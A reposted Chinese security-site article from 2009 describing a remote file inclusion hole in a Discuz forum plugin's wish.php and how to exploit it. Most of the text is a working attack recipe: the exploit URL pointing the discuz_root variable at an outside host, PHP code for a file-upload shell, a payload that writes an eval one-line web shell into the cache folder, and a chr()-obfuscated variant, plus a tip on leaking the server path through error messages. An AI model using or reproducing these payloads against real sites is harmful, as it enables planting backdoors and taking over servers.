首页 网络安全 安全学院 查看内容

discuz许愿池插件远程包含漏洞

2009-2-4 03:24 687 0

摘要: 昨天从Cnfjhh那里得到消息的。今天看到有人公布了,火狐那里也发布利用工具了,我就也发出来。许愿池插件的wish.php文件出的问题: require $discuz_root.'./inclu...
关键词: php discuz forumdata xiao root http cache 火狐 后缀 方法

昨天从Cnfjhh那里得到消息的。今天看到有人公布了,火狐那里也发布利用工具了,我就也发出来。许愿池插件的wish.php文件出的问题: require $discuz_root.'./include/discuzcode.func.php';手工利用方法:远程包含漏洞,变量discuz_root过滤不严,利用方法:http://url/wish.php?discuz_root=http://www.huaidan.org/xxxx.txt?不一定非要txt后缀,可以改为任意后缀,后面一定要记得加问号。这里xxxx.txt用CN.Tink的那个小马写个shell进去: <?copy($_FILES[MyFile][tmp_name],"C:/Inetpub/vhosts/baidu.com/bbs/guizai.php");?><form ENCTYPE="multipart/form-data" ACTION="" METHOD="POST"><input NAME="MyFile" TYPE="file"><input VALUE=" 提交 " TYPE="submit"></form>网站物理路径可以通过提交http://url/wish.php?discuz_root=http://www.huaidan.org/xxxx.txt ,看错误提示信息,然后修改xxxx.txt中的路径即可。 guizai.php就是你上传的shell的名字。火狐9xiao哥的方法: <?echo '<?' ?>if(!file_exists('forumdata/cache/9xiao.php')){fputs(fopen('forumdata/cache/9xiao.php','a+'),'Am i a hacker? --9xiao <?echo '<?' ?>eval($_POST[9xiao]);<?echo '?>'?>');}<?echo '?>'?>放到网站include目录下下命名为discuzcode.func.phpexp格式www.xxx.com/wish.php?discuz_root=http://9xiao.net,然后访问www.xxx.com/forumdata/cache/9xiao.php,为lanker的一句话木马服务器端 <?echo '<?' ?>if(!file_exists('forumdata/cache/9xiao.php')){<?fputs(fopen(chr(46).chr(47).chr(97).chr(46).chr(112).chr(104).chr(112),w),chr(60).chr(63).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(97).chr(93).chr(41).chr(59).chr(63).chr(62))?>}<?echo '?>'?>
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部